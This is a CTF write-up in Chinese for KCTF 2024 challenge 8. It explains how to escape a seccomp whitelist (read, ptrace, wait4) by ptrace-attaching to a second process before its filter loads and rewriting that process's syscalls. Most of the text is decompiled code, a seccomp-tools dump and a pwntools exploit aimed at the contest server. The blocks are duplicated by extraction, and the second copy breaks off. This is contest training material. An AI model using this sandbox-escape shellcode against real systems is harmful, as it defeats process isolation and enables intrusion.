-
-
[原创]KCTF 2024 第8题-星门-WriteUp-Ptrace绕过Seccomp
-
发表于: 2024-9-2 12:00 3089
-
程序逻辑如上,使用mmap申请一块0x1000大小的可执行内存,通过read读取用户输入的内容,直接执行shellcode
我们可以利用一个工具来看到底设置了什么
可以看到,seccomp 使用白名单模式,仅允许 read、ptrace、wait4,且检查了ARCH_X86_64和0x40000000。
参考一下PWN题中常见的seccomp绕过方法
以下这些一眼pass了
execve
open,write,read
0x40000000+sys_number绕过
通过retfq切换到32模式绕过
查阅资料发现可以通过ptrace修改掉syscall的调用号,大概意思就是seccomp处理后会通知调试进程,syscall-->seccomp-->ptrace,然后就可以通过ptrace的函数改掉syscall。
通过自己编译代码测试,不开seccomp的程序可以正常获取flag,开了seccomp就无法运行了。
卡了一天之后怀疑人生中,直到拉了这个通过ptrace 修改syscall的源码编译,发现也是无法绕过,一度怀疑网上相关的WP的正确性
通过在网上疯狂翻seccomp绕过相关的文章,直到看到V3rdant师傅的这篇文章
V3rdant-Linux.Seccomp-and-Ptrace
得到2个关键信息:
也就是说linux内核版本4.8以上,通过ptrace修改完syscall之后,还是会交给seccomp检查。
看到这句话后有了灵感,也就是说从程序启动到seccomp_steup的这段时间内,如果能成功附加程序,就可以绕过seccomp了!
这里我构造了open、read、write的shellcode,当然execve也是可以的。
得到flag{4297f44b13955235245b2497399d7a93}
int
__cdecl main(
int
argc, const char
*
*
argv, const char
*
*
envp)
{
void
*
buf;
/
/
[rsp
+
0h
] [rbp
-
10h
]
init(argc, argv, envp);
buf
=
mmap(
0LL
,
0x1000uLL
,
7
,
34
,
-
1
,
0LL
);
setup_seccomp();
read(
0
, buf,
0x1000uLL
);
((void (
*
)(void))buf)();
munmap(buf,
0x1000uLL
);
return
0
;
}
int
__cdecl main(
int
argc, const char
*
*
argv, const char
*
*
envp)
{
void
*
buf;
/
/
[rsp
+
0h
] [rbp
-
10h
]
init(argc, argv, envp);
buf
=
mmap(
0LL
,
0x1000uLL
,
7
,
34
,
-
1
,
0LL
);
setup_seccomp();
read(
0
, buf,
0x1000uLL
);
((void (
*
)(void))buf)();
munmap(buf,
0x1000uLL
);
return
0
;
}
__int64 setup_seccomp()
{
__int64 v1;
/
/
[rsp
+
8h
] [rbp
-
8h
]
v1
=
seccomp_init(
0LL
);
if
( !v1 )
{
perror(
"seccomp_init"
);
exit(
1
);
}
if
( (
int
)seccomp_rule_add(v1,
2147418112LL
,
101LL
,
0LL
) <
0
|| (
int
)seccomp_rule_add(v1,
2147418112LL
,
0LL
,
0LL
) <
0
|| (
int
)seccomp_rule_add(v1,
2147418112LL
,
61LL
,
0LL
) <
0
)
{
perror(
"seccomp_rule_add"
);
seccomp_release();
exit(
1
);
}
if
( (
int
)seccomp_load(v1) <
0
)
{
perror(
"seccomp_load"
);
seccomp_release();
exit(
1
);
}
return
seccomp_release();
}
__int64 setup_seccomp()
{
__int64 v1;
/
/
[rsp
+
8h
] [rbp
-
8h
]
v1
=
seccomp_init(
0LL
);
if
( !v1 )
{
perror(
"seccomp_init"
);
exit(
1
);
}
if
( (
int
)seccomp_rule_add(v1,
2147418112LL
,
101LL
,
0LL
) <
0
|| (
int
)seccomp_rule_add(v1,
2147418112LL
,
0LL
,
0LL
) <
0
|| (
int
)seccomp_rule_add(v1,
2147418112LL
,
61LL
,
0LL
) <
0
)
{
perror(
"seccomp_rule_add"
);
seccomp_release();
exit(
1
);
}
if
( (
int
)seccomp_load(v1) <
0
)
{
perror(
"seccomp_load"
);
seccomp_release();
exit(
1
);
}
return
seccomp_release();
}
root@
809e3878db51
:
/
home
/
sectest
# seccomp-tools dump ./power
line CODE JT JF K
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
0000
:
0x20
0x00
0x00
0x00000004
A
=
arch
0001
:
0x15
0x00
0x07
0xc000003e
if
(A !
=
ARCH_X86_64) goto
0009
0002
:
0x20
0x00
0x00
0x00000000
A
=
sys_number
0003
:
0x35
0x00
0x01
0x40000000
if
(A <
0x40000000
) goto
0005
0004
:
0x15
0x00
0x04
0xffffffff
if
(A !
=
0xffffffff
) goto
0009
0005
:
0x15
0x02
0x00
0x00000000
if
(A
=
=
read) goto
0008
0006
:
0x15
0x01
0x00
0x0000003d
if
(A
=
=
wait4) goto
0008
0007
:
0x15
0x00
0x01
0x00000065
if
(A !
=
ptrace) goto
0009
0008
:
0x06
0x00
0x00
0x7fff0000
return
ALLOW
0009
:
0x06
0x00
0x00
0x00000000
return
KILL
root@
809e3878db51
:
/
home
/
sectest
# seccomp-tools dump ./power
line CODE JT JF K
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
0000
:
0x20
0x00
0x00
0x00000004
A
=
arch
0001
:
0x15
0x00
0x07
0xc000003e
if
(A !
=
ARCH_X86_64) goto
0009
0002
:
0x20
0x00
0x00
0x00000000
A
=
sys_number
0003
:
0x35
0x00
0x01
0x40000000
if
(A <
0x40000000
) goto
0005
0004
:
0x15
0x00
0x04
0xffffffff
if
(A !
=
0xffffffff
) goto
0009
0005
:
0x15
0x02
0x00
0x00000000
if
(A
=
=
read) goto
0008
0006
:
0x15
0x01
0x00
0x0000003d
if
(A
=
=
wait4) goto
0008
0007
:
0x15
0x00
0x01
0x00000065
if
(A !
=
ptrace) goto
0009
0008
:
0x06
0x00
0x00
0x7fff0000
return
ALLOW
0009
:
0x06
0x00
0x00
0x00000000
return
KILL
#-*- coding: utf-8 -*-
from
pwn
import
*
if
len
(sys.argv) !
=
2
:
print
(
"Usage: python script.py <pid>"
)
sys.exit(
1
)
#ip = "127.0.0.1"
ip
=
"47.101.191.23"
#p=process('./a.out')
#p = remote('127.0.0.1', 9999)
p
=
remote(ip,
9999
)
context.arch
=
'amd64'
#pid = 10000
pid
=
int
(sys.argv[
1
])
print
(
'PID: {}'
.
format
(pid))
# 附加失败无限重试(ptrce == 0)
shellcode
=
'''
begin_trace:
'''
shellcode
+
=
shellcraft.ptrace(
0x10
,pid,
0
,
0
)
#附加
shellcode
+
=
'''
cmp eax,0x00
jne begin_trace
continue:
'''
shellcode
+
=
shellcraft.ptrace(
0x18
,pid,
0
,
0
)
#让目标下一个syscall停下来
shellcode
+
=
shellcraft.wait4(pid,
0
,
0
)
#等待目标停下来
shellcode
+
=
shellcraft.ptrace(
12
,pid,
0
,
"rsp"
)
#获取寄存器(struct user_regs_struct)到内存data中
shellcode
+
=
'''
mov r8,rsp
mov r11,qword ptr [r8+0x78]
cmp r11,0x13D
je change_13D
cmp r11,0x3C
je change_3C
cmp r11,0xE7
je change_E7
cmp r11,0x9D
je change_9D
jmp continue
'''
# 13D和9D是seccomp相关的系统调用
# 3C和E7好像是exit
# 使用nc 连接两次,产生了两个进程,如果能在第二个进程运行前,通过ptrace截停prctl的调用,改成随便一个无关调用,就可以实现沙盒的绕过
shellcode
+
=
'''
change_13D:
mov qword ptr [r8+0x78],0x20
mov qword ptr [r8+0x50],0
mov qword ptr [r8+0x58],0
mov qword ptr [r8+0x60],0
mov qword ptr [r8+0x68],0
mov qword ptr [r8+0x70],0
jmp END
change_3C:
mov qword ptr [r8+0x78],0x20
jmp END
change_E7:
mov qword ptr [r8+0x78],0x20
jmp END
change_9D:
mov qword ptr [r8+80],0
mov qword ptr [r8+88],0
mov qword ptr [r8+96],0
mov qword ptr [r8+104],0
mov qword ptr [r8+112],0x26
jmp END
END:
'''
shellcode
+
=
shellcraft.ptrace(
13
,pid,
"rsp"
)
# 写回内存
shellcode
+
=
'''
jmp continue
'''
p.sendline(asm(shellcode))
p.interactive()
#-*- coding: utf-8 -*-
from
pwn
import
*
if
len
(sys.argv) !
=
2
:
print
(
"Usage: python script.py <pid>"
)
sys.exit(
1
)
#ip = "127.0.0.1"
ip
=
"47.101.191.23"
#p=process('./a.out')
#p = remote('127.0.0.1', 9999)
p
=
remote(ip,
9999
)
context.arch
=
'amd64'
#pid = 10000
pid
=
int
(sys.argv[
1
])
print
(
'PID: {}'
.
format
(pid))
# 附加失败无限重试(ptrce == 0)
shellcode
=
'''
begin_trace:
'''
shellcode
+
=
shellcraft.ptrace(
0x10
,pid,
0
,
0
)
#附加
shellcode
+
=
'''
cmp eax,0x00
jne begin_trace
continue:
'''
shellcode
+
=
shellcraft.ptrace(
0x18
,pid,
0
,
0
)
#让目标下一个syscall停下来
shellcode
+
=
shellcraft.wait4(pid,
0
,
0
)
#等待目标停下来
shellcode
+
=
shellcraft.ptrace(
12
,pid,
0
,
"rsp"
)
#获取寄存器(struct user_regs_struct)到内存data中
shellcode
+
=
'''
mov r8,rsp
mov r11,qword ptr [r8+0x78]
cmp r11,0x13D
je change_13D
cmp r11,0x3C
je change_3C
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!